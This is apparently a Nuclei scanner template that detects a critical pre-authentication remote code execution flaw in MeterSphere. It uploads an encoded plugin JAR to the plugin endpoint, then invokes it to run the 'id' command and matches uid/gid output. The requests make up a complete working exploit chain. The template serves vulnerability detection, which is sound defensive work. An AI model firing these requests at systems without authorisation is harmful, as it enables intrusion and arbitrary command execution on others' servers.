id: metersphere-plugin-rce

info:
  name: MeterSphere - Remote Code Execution
  author: pdteam,y4er,pdresearch,rootxharsh,iamnoooob
  severity: critical
  description: |
    MeterSphere is susceptible to remote code execution.
  reference:
    - https://y4er.com/post/metersphere-plugincontroller-pre-auth-rce/
    - https://github.com/metersphere/metersphere
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    verified: true
    max-request: 2
  tags: metersphere,rce,intrusive

http:
  - raw:
      - |
        POST /plugin/add HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryreButJNjkCniQExX

        ------WebKitFormBoundaryreButJNjkCniQExX
        Content-Disposition: form-data; name="file"; filename="metersphere-plugin-DebugSampler-1.0.1-jar-with-all-dependencies.jar"
        Content-Type: application/octet-stream

        {{base64_decode("[encoded data, 11956 characters]")}}
        ------WebKitFormBoundaryreButJNjkCniQExX
        Content-Disposition: form-data; name="request"; filename="blob"
        Content-Type: application/json

        null
        ------WebKitFormBoundaryreButJNjkCniQExX--
      - |
        POST /plugin/customMethod HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"entry":"io.metersphere.plugin.DebugSampler.UiScriptApiImpl","request":"id"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data":'
          - '"success":true'
        condition: and

      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

# digest: 4a0a00473045022068f047f4cafe1ec814fefe9fd82e0b7108337c3633add25be6a949325fbc3c52022100b1bccfdf9bef799e8e134273710d7f57f39928dca49650d341534a7546648bdf:922c64590222798bb761d5b6d8e72950
